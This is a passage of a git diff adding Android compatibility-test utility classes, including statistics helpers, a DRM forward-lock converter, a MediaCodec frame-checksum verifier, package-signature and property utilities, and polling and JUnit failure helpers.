+ public double getStdev() {
+ analyze();
+ if (mNum == 0) {
+ return Double.NaN;
+ } else {
+ double average = mSumX / mNum;
+ return Math.sqrt(mSumXX / mNum - average * average);
+ }
+ }
+
+ /** returns the statistics for the moving average over n values */
+ public Stats movingAverage(int n) {
+ if (n < 1 || mNum < n) {
+ return new Stats(null);
+ } else if (n == 1) {
+ return this;
+ }
+
+ double[] avgs = new double[mNum - n + 1];
+ double sum = 0;
+ for (int i = 0; i < mNum; ++i) {
+ sum += mData[i];
+ if (i >= n - 1) {
+ avgs[i - n + 1] = sum / n;
+ sum -= mData[i - n + 1];
+ }
+ }
+ return new Stats(avgs);
+ }
+
+ /** returns the statistics for the moving average over a window over the
+ * cumulative sum. Basically, moves a window from: [0, window] to
+ * [sum - window, sum] over the cumulative sum, over ((sum - window) / average)
+ * steps, and returns the average value over each window.
+ * This method is used to average time-diff data over a window of a constant time.
+ */
+ public Stats movingAverageOverSum(double window) {
+ if (window <= 0 || mNum < 1) {
+ return new Stats(null);
+ }
+
+ analyze();
+ double average = mSumX / mNum;
+ if (window >= mSumX) {
+ return new Stats(new double[] { average });
+ }
+ int samples = (int)Math.ceil((mSumX - window) / average);
+ double[] avgs = new double[samples];
+
+ // A somewhat brute force approach to calculating the moving average.
+ // TODO: add support for weights in Stats, so we can do a more refined approach.
+ double sum = 0; // sum of elements in the window
+ int num = 0; // number of elements in the moving window
+ int bi = 0; // index of the first element in the moving window
+ int ei = 0; // index of the last element in the moving window
+ double space = window; // space at the end of the window
+ double foot = 0; // space at the beginning of the window
+
+ // invariants: foot + sum + space == window
+ // bi + num == ei
+ //
+ // window: |-------------------------------|
+ // | <-----sum------> |
+ // <foot> <---space-->
+ // | |
+ // intervals: |-----------|-------|-------|--------------------|--------|
+ // ^bi ^ei
+
+ int ix = 0; // index in the result
+ while (ix < samples) {
+ // add intervals while there is space in the window
+ while (ei < mData.length && mData[ei] <= space) {
+ space -= mData[ei];
+ sum += mData[ei];
+ num++;
+ ei++;
+ }
+
+ // calculate average over window and deal with odds and ends (e.g. if there are no
+ // intervals in the current window: pick whichever element overlaps the window
+ // most.
+ if (num > 0) {
+ avgs[ix++] = sum / num;
+ } else if (bi > 0 && foot > space) {
+ // consider previous
+ avgs[ix++] = mData[bi - 1];
+ } else if (ei == mData.length) {
+ break;
+ } else {
+ avgs[ix++] = mData[ei];
+ }
+
+ // move the window to the next position
+ foot -= average;
+ space += average;
+
+ // remove intervals that are now partially or wholly outside of the window
+ while (bi < ei && foot < 0) {
+ foot += mData[bi];
+ sum -= mData[bi];
+ num--;
+ bi++;
+ }
+ }
+ return new Stats(Arrays.copyOf(avgs, ix));
+ }
+
+ /** calculate mSortedData */
+ private void sort() {
+ if (mSorted || mNum == 0) {
+ return;
+ }
+ mSortedData = Arrays.copyOf(mData, mNum);
+ Arrays.sort(mSortedData);
+ mSorted = true;
+ }
+
+ /** returns an array of percentiles for the points using nearest rank */
+ public double[] getPercentiles(double... points) {
+ sort();
+ double[] res = new double[points.length];
+ for (int i = 0; i < points.length; ++i) {
+ if (mNum < 1 || points[i] < 0 || points[i] > 100) {
+ res[i] = Double.NaN;
+ } else {
+ res[i] = mSortedData[(int)Math.round(points[i] / 100 * (mNum - 1))];
+ }
+ }
+ return res;
+ }
+
+ @Override
+ public boolean equals(Object o) {
+ if (o instanceof Stats) {
+ Stats other = (Stats)o;
+ if (other.mNum != mNum) {
+ return false;
+ } else if (mNum == 0) {
+ return true;
+ }
+ return Arrays.equals(mData, other.mData);
+ }
+ return false;
+ }
+
+ private double[] mData;
+ private double mSumX = 0;
+ private double mSumXX = 0;
+ private double mMinX = Double.NaN;
+ private double mMaxX = Double.NaN;
+ private int mNum = 0;
+ private boolean mAnalyzed = false;
+ private double[] mSortedData;
+ private boolean mSorted = false;
+ }
+
+ /**
+ * Convert a forward lock .dm message stream to a .fl file
+ * @param context Context to use
+ * @param dmStream The .dm message
+ * @param flFile The output file to be written
+ * @return success
+ */
+ public static boolean convertDmToFl(
+ Context context,
+ InputStream dmStream,
+ RandomAccessFile flFile) {
+ final String MIMETYPE_DRM_MESSAGE = "application/vnd.oma.drm.message";
+ byte[] dmData = new byte[10000];
+ int totalRead = 0;
+ int numRead;
+ while (true) {
+ try {
+ numRead = dmStream.read(dmData, totalRead, dmData.length - totalRead);
+ } catch (IOException e) {
+ Log.w(TAG, "Failed to read from input file");
+ return false;
+ }
+ if (numRead == -1) {
+ break;
+ }
+ totalRead += numRead;
+ if (totalRead == dmData.length) {
+ // grow array
+ dmData = Arrays.copyOf(dmData, dmData.length + 10000);
+ }
+ }
+ byte[] fileData = Arrays.copyOf(dmData, totalRead);
+
+ DrmManagerClient drmClient = null;
+ try {
+ drmClient = new DrmManagerClient(context);
+ } catch (IllegalArgumentException e) {
+ Log.w(TAG, "DrmManagerClient instance could not be created, context is Illegal.");
+ return false;
+ } catch (IllegalStateException e) {
+ Log.w(TAG, "DrmManagerClient didn't initialize properly.");
+ return false;
+ }
+
+ try {
+ int convertSessionId = -1;
+ try {
+ convertSessionId = drmClient.openConvertSession(MIMETYPE_DRM_MESSAGE);
+ } catch (IllegalArgumentException e) {
+ Log.w(TAG, "Conversion of Mimetype: " + MIMETYPE_DRM_MESSAGE
+ + " is not supported.", e);
+ return false;
+ } catch (IllegalStateException e) {
+ Log.w(TAG, "Could not access Open DrmFramework.", e);
+ return false;
+ }
+
+ if (convertSessionId < 0) {
+ Log.w(TAG, "Failed to open session.");
+ return false;
+ }
+
+ DrmConvertedStatus convertedStatus = null;
+ try {
+ convertedStatus = drmClient.convertData(convertSessionId, fileData);
+ } catch (IllegalArgumentException e) {
+ Log.w(TAG, "Buffer with data to convert is illegal. Convertsession: "
+ + convertSessionId, e);
+ return false;
+ } catch (IllegalStateException e) {
+ Log.w(TAG, "Could not convert data. Convertsession: " + convertSessionId, e);
+ return false;
+ }
+
+ if (convertedStatus == null ||
+ convertedStatus.statusCode != DrmConvertedStatus.STATUS_OK ||
+ convertedStatus.convertedData == null) {
+ Log.w(TAG, "Error in converting data. Convertsession: " + convertSessionId);
+ try {
+ DrmConvertedStatus result = drmClient.closeConvertSession(convertSessionId);
+ if (result.statusCode != DrmConvertedStatus.STATUS_OK) {
+ Log.w(TAG, "Conversion failed with status: " + result.statusCode);
+ return false;
+ }
+ } catch (IllegalStateException e) {
+ Log.w(TAG, "Could not close session. Convertsession: " +
+ convertSessionId, e);
+ }
+ return false;
+ }
+
+ try {
+ flFile.write(convertedStatus.convertedData, 0, convertedStatus.convertedData.length);
+ } catch (IOException e) {
+ Log.w(TAG, "Failed to write to output file: " + e);
+ return false;
+ }
+
+ try {
+ convertedStatus = drmClient.closeConvertSession(convertSessionId);
+ } catch (IllegalStateException e) {
+ Log.w(TAG, "Could not close convertsession. Convertsession: " +
+ convertSessionId, e);
+ return false;
+ }
+
+ if (convertedStatus == null ||
+ convertedStatus.statusCode != DrmConvertedStatus.STATUS_OK ||
+ convertedStatus.convertedData == null) {
+ Log.w(TAG, "Error in closing session. Convertsession: " + convertSessionId);
+ return false;
+ }
+
+ try {
+ flFile.seek(convertedStatus.offset);
+ flFile.write(convertedStatus.convertedData);
+ } catch (IOException e) {
+ Log.w(TAG, "Could not update file.", e);
+ return false;
+ }
+
+ return true;
+ } finally {
+ drmClient.close();
+ }
+ }
+
+ /**
+ * @param decoder new MediaCodec object
+ * @param ex MediaExtractor after setDataSource and selectTrack
+ * @param frameMD5Sums reference MD5 checksum for decoded frames
+ * @return true if decoded frames checksums matches reference checksums
+ * @throws IOException
+ */
+ public static boolean verifyDecoder(
+ MediaCodec decoder, MediaExtractor ex, List<String> frameMD5Sums)
+ throws IOException {
+
+ int trackIndex = ex.getSampleTrackIndex();
+ MediaFormat format = ex.getTrackFormat(trackIndex);
+ decoder.configure(format, null /* surface */, null /* crypto */, 0 /* flags */);
+ decoder.start();
+
+ boolean sawInputEOS = false;
+ boolean sawOutputEOS = false;
+ final long kTimeOutUs = 5000; // 5ms timeout
+ int decodedFrameCount = 0;
+ int expectedFrameCount = frameMD5Sums.size();
+ MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
+
+ while (!sawOutputEOS) {
+ // handle input
+ if (!sawInputEOS) {
+ int inIdx = decoder.dequeueInputBuffer(kTimeOutUs);
+ if (inIdx >= 0) {
+ ByteBuffer buffer = decoder.getInputBuffer(inIdx);
+ int sampleSize = ex.readSampleData(buffer, 0);
+ if (sampleSize < 0) {
+ final int flagEOS = MediaCodec.BUFFER_FLAG_END_OF_STREAM;
+ decoder.queueInputBuffer(inIdx, 0, 0, 0, flagEOS);
+ sawInputEOS = true;
+ } else {
+ decoder.queueInputBuffer(inIdx, 0, sampleSize, ex.getSampleTime(), 0);
+ ex.advance();
+ }
+ }
+ }
+
+ // handle output
+ int outputBufIndex = decoder.dequeueOutputBuffer(info, kTimeOutUs);
+ if (outputBufIndex >= 0) {
+ try {
+ if (info.size > 0) {
+ // Disregard 0-sized buffers at the end.
+ String md5CheckSum = "";
+ Image image = decoder.getOutputImage(outputBufIndex);
+ md5CheckSum = getImageMD5Checksum(image);
+
+ if (!md5CheckSum.equals(frameMD5Sums.get(decodedFrameCount))) {
+ Log.d(TAG,
+ String.format(
+ "Frame %d md5sum mismatch: %s(actual) vs %s(expected)",
+ decodedFrameCount, md5CheckSum,
+ frameMD5Sums.get(decodedFrameCount)));
+ return false;
+ }
+
+ decodedFrameCount++;
+ }
+ } catch (Exception e) {
+ Log.e(TAG, "getOutputImage md5CheckSum failed", e);
+ return false;
+ } finally {
+ decoder.releaseOutputBuffer(outputBufIndex, false /* render */);
+ }
+ if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+ sawOutputEOS = true;
+ }
+ } else if (outputBufIndex == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+ MediaFormat decOutputFormat = decoder.getOutputFormat();
+ Log.d(TAG, "output format " + decOutputFormat);
+ } else if (outputBufIndex == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
+ Log.i(TAG, "Skip handling MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED");
+ } else if (outputBufIndex == MediaCodec.INFO_TRY_AGAIN_LATER) {
+ continue;
+ } else {
+ Log.w(TAG, "decoder.dequeueOutputBuffer() unrecognized index: " + outputBufIndex);
+ return false;
+ }
+ }
+
+ if (decodedFrameCount != expectedFrameCount) {
+ return false;
+ }
+
+ return true;
+ }
+
+ public static String getImageMD5Checksum(Image image) throws Exception {
+ int format = image.getFormat();
+ if (ImageFormat.YUV_420_888 != format) {
+ Log.w(TAG, "unsupported image format");
+ return "";
+ }
+
+ MessageDigest md = MessageDigest.getInstance("MD5");
+
+ int imageWidth = image.getWidth();
+ int imageHeight = image.getHeight();
+
+ Image.Plane[] planes = image.getPlanes();
+ for (int i = 0; i < planes.length; ++i) {
+ ByteBuffer buf = planes[i].getBuffer();
+
+ int width, height, rowStride, pixelStride, x, y;
+ rowStride = planes[i].getRowStride();
+ pixelStride = planes[i].getPixelStride();
+ if (i == 0) {
+ width = imageWidth;
+ height = imageHeight;
+ } else {
+ width = imageWidth / 2;
+ height = imageHeight /2;
+ }
+ // local contiguous pixel buffer
+ byte[] bb = new byte[width * height];
+ if (buf.hasArray()) {
+ byte b[] = buf.array();
+ int offs = buf.arrayOffset();
+ if (pixelStride == 1) {
+ for (y = 0; y < height; ++y) {
+ System.arraycopy(bb, y * width, b, y * rowStride + offs, width);
+ }
+ } else {
+ // do it pixel-by-pixel
+ for (y = 0; y < height; ++y) {
+ int lineOffset = offs + y * rowStride;
+ for (x = 0; x < width; ++x) {
+ bb[y * width + x] = b[lineOffset + x * pixelStride];
+ }
+ }
+ }
+ } else { // almost always ends up here due to direct buffers
+ int pos = buf.position();
+ if (pixelStride == 1) {
+ for (y = 0; y < height; ++y) {
+ buf.position(pos + y * rowStride);
+ buf.get(bb, y * width, width);
+ }
+ } else {
+ // local line buffer
+ byte[] lb = new byte[rowStride];
+ // do it pixel-by-pixel
+ for (y = 0; y < height; ++y) {
+ buf.position(pos + y * rowStride);
+ // we're only guaranteed to have pixelStride * (width - 1) + 1 bytes
+ buf.get(lb, 0, pixelStride * (width - 1) + 1);
+ for (x = 0; x < width; ++x) {
+ bb[y * width + x] = lb[x * pixelStride];
+ }
+ }
+ }
+ buf.position(pos);
+ }
+ md.update(bb, 0, width * height);
+ }
+
+ return convertByteArrayToHEXString(md.digest());
+ }
+
+ private static String convertByteArrayToHEXString(byte[] ba) throws Exception {
+ StringBuilder result = new StringBuilder();
+ for (int i = 0; i < ba.length; i++) {
+ result.append(Integer.toString((ba[i] & 0xff) + 0x100, 16).substring(1));
+ }
+ return result.toString();
+ }
+
+
+ /*
+ * -------------------------------------- END --------------------------------------
+ */
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/MoreMatchers.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/MoreMatchers.java
new file mode 100644
index 0000000..cee610e
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/MoreMatchers.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import org.mockito.ArgumentMatchers;
+
+public class MoreMatchers {
+ private MoreMatchers() {
+ }
+
+ public static <T> T anyOrNull(Class<T> clazz) {
+ return ArgumentMatchers.argThat(value -> true);
+ }
+
+ public static String anyStringOrNull() {
+ return ArgumentMatchers.argThat(value -> true);
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/NullWebViewUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/NullWebViewUtils.java
new file mode 100644
index 0000000..3153adb
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/NullWebViewUtils.java
@@ -0,0 +1,88 @@
+/*
+ * Copyright (C) 2010 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+
+/**
+ * Utilities to enable the android.webkit.* CTS tests (and others that rely on a functioning
+ * android.webkit.WebView implementation) to determine whether a functioning WebView is present
+ * on the device or not.
+ *
+ * Test cases that require android.webkit.* classes should wrap their first usage of WebView in a
+ * try catch block, and pass any exception that is thrown to
+ * NullWebViewUtils.determineIfWebViewAvailable. The return value of
+ * NullWebViewUtils.isWebViewAvailable will then determine if the test should expect to be able to
+ * use a WebView.
+ */
+public class NullWebViewUtils {
+
+ private static boolean sWebViewUnavailable;
+
+ /**
+ * @param context Current Activity context, used to query the PackageManager.
+ * @param t An exception thrown by trying to invoke android.webkit.* APIs.
+ */
+ public static void determineIfWebViewAvailable(Context context, Throwable t) {
+ sWebViewUnavailable = !hasWebViewFeature(context) && checkCauseWasUnsupportedOperation(t);
+ }
+
+ /**
+ * After calling determineIfWebViewAvailable, this returns whether a WebView is available on the
+ * device and wheter the test can rely on it.
+ * @return True iff. PackageManager determined that there is no WebView on the device and the
+ * exception thrown from android.webkit.* was UnsupportedOperationException.
+ */
+ public static boolean isWebViewAvailable() {
+ return !sWebViewUnavailable;
+ }
+
+ private static boolean hasWebViewFeature(Context context) {
+ // Query the system property that determins if there is a functional WebView on the device.
+ PackageManager pm = context.getPackageManager();
+ return pm.hasSystemFeature(PackageManager.FEATURE_WEBVIEW);
+ }
+
+ private static boolean checkCauseWasUnsupportedOperation(Throwable t) {
+ if (t == null) return false;
+ while (t.getCause() != null) {
+ t = t.getCause();
+ }
+ return t instanceof UnsupportedOperationException;
+ }
+
+ /**
+ * Some CTS tests (by design) first use android.webkit.* from a background thread. This helper
+ * allows the test to catch the UnsupportedOperationException from that background thread, and
+ * then query the result from the test main thread.
+ */
+ public static class NullWebViewFromThreadExceptionHandler
+ implements Thread.UncaughtExceptionHandler {
+ private Throwable mPendingException;
+
+ @Override
+ public void uncaughtException(Thread t, Throwable e) {
+ mPendingException = e;
+ }
+
+ public boolean isWebViewAvailable(Context context) {
+ return hasWebViewFeature(context) ||
+ !checkCauseWasUnsupportedOperation(mPendingException);
+ }
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/OnFailureRule.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/OnFailureRule.java
new file mode 100644
index 0000000..585c145
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/OnFailureRule.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import android.util.Log;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+/**
+ * Custom JUnit4 rule that provides a callback upon test failures.
+ */
+public abstract class OnFailureRule implements TestRule {
+ private String mLogTag = "OnFailureRule";
+
+ public OnFailureRule() {
+ }
+
+ public OnFailureRule(String logTag) {
+ mLogTag = logTag;
+ }
+
+ @Override
+ public Statement apply(Statement base, Description description) {
+ return new Statement() {
+
+ @Override
+ public void evaluate() throws Throwable {
+ try {
+ base.evaluate();
+ } catch (Throwable t) {
+ Log.e(mLogTag, "Test failed: description=" + description + "\nThrowable=" + t);
+ onTestFailure(base, description, t);
+ throw t;
+ }
+ }
+ };
+ }
+
+ protected abstract void onTestFailure(Statement base, Description description, Throwable t);
+}
\ No newline at end of file
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java
new file mode 100644
index 0000000..0dd9e82
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java
@@ -0,0 +1,134 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.os.Build;
+import androidx.test.InstrumentationRegistry;
+import android.util.Log;
+
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+
+/**
+ * Device-side utility class for PackageManager-related operations
+ */
+public class PackageUtil {
+
+ private static final String TAG = PackageUtil.class.getSimpleName();
+
+ private static final int SYSTEM_APP_MASK =
+ ApplicationInfo.FLAG_SYSTEM | ApplicationInfo.FLAG_UPDATED_SYSTEM_APP;
+ private static final char[] HEX_ARRAY = "0123456789ABCDEF".toCharArray();
+
+ /** Returns true if a package with the given name exists on the device */
+ public static boolean exists(String packageName) {
+ try {
+ return (getPackageManager().getApplicationInfo(packageName,
+ PackageManager.GET_META_DATA) != null);
+ } catch(PackageManager.NameNotFoundException e) {
+ return false;
+ }
+ }
+
+ /** Returns true if a package with the given name AND SHA digest exists on the device */
+ public static boolean exists(String packageName, String sha) {
+ try {
+ if (getPackageManager().getApplicationInfo(
+ packageName, PackageManager.GET_META_DATA) == null) {
+ return false;
+ }
+ return sha.equals(computePackageSignatureDigest(packageName));
+ } catch (NoSuchAlgorithmException | PackageManager.NameNotFoundException e) {
+ return false;
+ }
+ }
+
+ /** Returns true if the app for the given package name is a system app for this device */
+ public static boolean isSystemApp(String packageName) {
+ try {
+ ApplicationInfo ai = getPackageManager().getApplicationInfo(packageName,
+ PackageManager.GET_META_DATA);
+ return ai != null && ((ai.flags & SYSTEM_APP_MASK) != 0);
+ } catch(PackageManager.NameNotFoundException e) {
+ return false;
+ }
+ }
+
+ /** Returns the version string of the package name, or null if the package can't be found */
+ public static String getVersionString(String packageName) {
+ try {
+ PackageInfo info = getPackageManager().getPackageInfo(packageName,
+ PackageManager.GET_META_DATA);
+ return info.versionName;
+ } catch (PackageManager.NameNotFoundException | NullPointerException e) {
+ Log.w(TAG, "Could not find version string for package " + packageName);
+ return null;
+ }
+ }
+
+ /**
+ * Compute the signature SHA digest for a package.
+ * @param package the name of the package for which the signature SHA digest is requested
+ * @return the signature SHA digest
+ */
+ public static String computePackageSignatureDigest(String packageName)
+ throws NoSuchAlgorithmException, PackageManager.NameNotFoundException {
+ PackageInfo packageInfo = getPackageManager()
+ .getPackageInfo(packageName, PackageManager.GET_SIGNATURES);
+ MessageDigest messageDigest = MessageDigest.getInstance("SHA256");
+ messageDigest.update(packageInfo.signatures[0].toByteArray());
+
+ final byte[] digest = messageDigest.digest();
+ final int digestLength = digest.length;
+ final int charCount = 3 * digestLength - 1;
+
+ final char[] chars = new char[charCount];
+ for (int i = 0; i < digestLength; i++) {
+ final int byteHex = digest[i] & 0xFF;
+ chars[i * 3] = HEX_ARRAY[byteHex >>> 4];
+ chars[i * 3 + 1] = HEX_ARRAY[byteHex & 0x0F];
+ if (i < digestLength - 1) {
+ chars[i * 3 + 2] = ':';
+ }
+ }
+ return new String(chars);
+ }
+
+ private static PackageManager getPackageManager() {
+ return InstrumentationRegistry.getInstrumentation().getTargetContext().getPackageManager();
+ }
+
+ private static boolean hasDeviceFeature(final String requiredFeature) {
+ return InstrumentationRegistry.getContext()
+ .getPackageManager()
+ .hasSystemFeature(requiredFeature);
+ }
+
+ /**
+ * Rotation support is indicated by explicitly having both landscape and portrait
+ * features or not listing either at all.
+ */
+ public static boolean supportsRotation() {
+ final boolean supportsLandscape = hasDeviceFeature(PackageManager.FEATURE_SCREEN_LANDSCAPE);
+ final boolean supportsPortrait = hasDeviceFeature(PackageManager.FEATURE_SCREEN_PORTRAIT);
+ return (supportsLandscape && supportsPortrait)
+ || (!supportsLandscape && !supportsPortrait);
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/ParcelUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/ParcelUtils.java
new file mode 100644
index 0000000..ecaa722
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/ParcelUtils.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import static org.junit.Assert.assertNotNull;
+
+import android.os.Parcel;
+import android.os.Parcelable;
+
+public class ParcelUtils {
+ private ParcelUtils() {
+ }
+
+ /** Convert a Parcelable into a byte[]. */
+ public static byte[] toBytes(Parcelable p) {
+ assertNotNull(p);
+
+ final Parcel parcel = Parcel.obtain();
+ parcel.writeParcelable(p, 0);
+ byte[] data = parcel.marshall();
+ parcel.recycle();
+
+ return data;
+ }
+
+ /** Decode a byte[] into a Parcelable. */
+ public static <T extends Parcelable> T fromBytes(byte[] data) {
+ assertNotNull(data);
+
+ final Parcel parcel = Parcel.obtain();
+ parcel.unmarshall(data, 0, data.length);
+ parcel.setDataPosition(0);
+ T ret = parcel.readParcelable(ParcelUtils.class.getClassLoader());
+ parcel.recycle();
+
+ return ret;
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/PollingCheck.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/PollingCheck.java
new file mode 100644
index 0000000..bcc3530
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/PollingCheck.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import java.util.concurrent.Callable;
+
+import junit.framework.Assert;
+
+public abstract class PollingCheck {
+ private static final long TIME_SLICE = 50;
+ private long mTimeout = 3000;
+
+ public static interface PollingCheckCondition {
+ boolean canProceed();
+ }
+
+ public PollingCheck() {
+ }
+
+ public PollingCheck(long timeout) {
+ mTimeout = timeout;
+ }
+
+ protected abstract boolean check();
+
+ public void run() {
+ if (check()) {
+ return;
+ }
+
+ long timeout = mTimeout;
+ while (timeout > 0) {
+ try {
+ Thread.sleep(TIME_SLICE);
+ } catch (InterruptedException e) {
+ Assert.fail("unexpected InterruptedException");
+ }
+
+ if (check()) {
+ return;
+ }
+
+ timeout -= TIME_SLICE;
+ }
+
+ Assert.fail("unexpected timeout");
+ }
+
+ public static void check(CharSequence message, long timeout, Callable<Boolean> condition)
+ throws Exception {
+ while (timeout > 0) {
+ if (condition.call()) {
+ return;
+ }
+
+ Thread.sleep(TIME_SLICE);
+ timeout -= TIME_SLICE;
+ }
+
+ Assert.fail(message.toString());
+ }
+
+ public static void waitFor(final PollingCheckCondition condition) {
+ new PollingCheck() {
+ @Override
+ protected boolean check() {
+ return condition.canProceed();
+ }
+ }.run();
+ }
+
+ public static void waitFor(long timeout, final PollingCheckCondition condition) {
+ new PollingCheck(timeout) {
+ @Override
+ protected boolean check() {
+ return condition.canProceed();
+ }
+ }.run();
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java
new file mode 100644
index 0000000..599110e
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java
@@ -0,0 +1,173 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.os.Build;
+import androidx.test.InstrumentationRegistry;
+
+import java.io.IOException;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Scanner;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+/**
+ * Device-side utility class for reading properties and gathering information for testing
+ * Android device compatibility.
+ */
+public class PropertyUtil {
+
+ /**
+ * Name of read-only property detailing the first API level for which the product was
+ * shipped. Property should be undefined for factory ROM products.
+ */
+ public static final String FIRST_API_LEVEL = "ro.product.first_api_level";
+ private static final String BUILD_TYPE_PROPERTY = "ro.build.type";
+ private static final String MANUFACTURER_PROPERTY = "ro.product.manufacturer";
+ private static final String TAG_DEV_KEYS = "dev-keys";
+ private static final String VNDK_VERSION = "ro.vndk.version";
+
+ public static final String GOOGLE_SETTINGS_QUERY =
+ "content query --uri content://com.google.settings/partner";
+
+ /** Value to be returned by getPropertyInt() if property is not found */
+ public static int INT_VALUE_IF_UNSET = -1;
+
+ /** Returns whether the device build is a user build */
+ public static boolean isUserBuild() {
+ return propertyEquals(BUILD_TYPE_PROPERTY, "user");
+ }
+
+ /** Returns whether this build is built with dev-keys */
+ public static boolean isDevKeysBuild() {
+ for (String tag : Build.TAGS.split(",")) {
+ if (TAG_DEV_KEYS.equals(tag.trim())) {
+ return true;
+ }
+ }
+ return false;
+ }
+
+ /**
+ * Return the first API level for this product. If the read-only property is unset,
+ * this means the first API level is the current API level, and the current API level
+ * is returned.
+ */
+ public static int getFirstApiLevel() {
+ int firstApiLevel = getPropertyInt(FIRST_API_LEVEL);
+ return (firstApiLevel == INT_VALUE_IF_UNSET) ? Build.VERSION.SDK_INT : firstApiLevel;
+ }
+
+ /**
+ * Return whether the SDK version of the vendor partiton is newer than the given API level.
+ * If the property is set to non-integer value, this means the vendor partition is using
+ * current API level and true is returned.
+ */
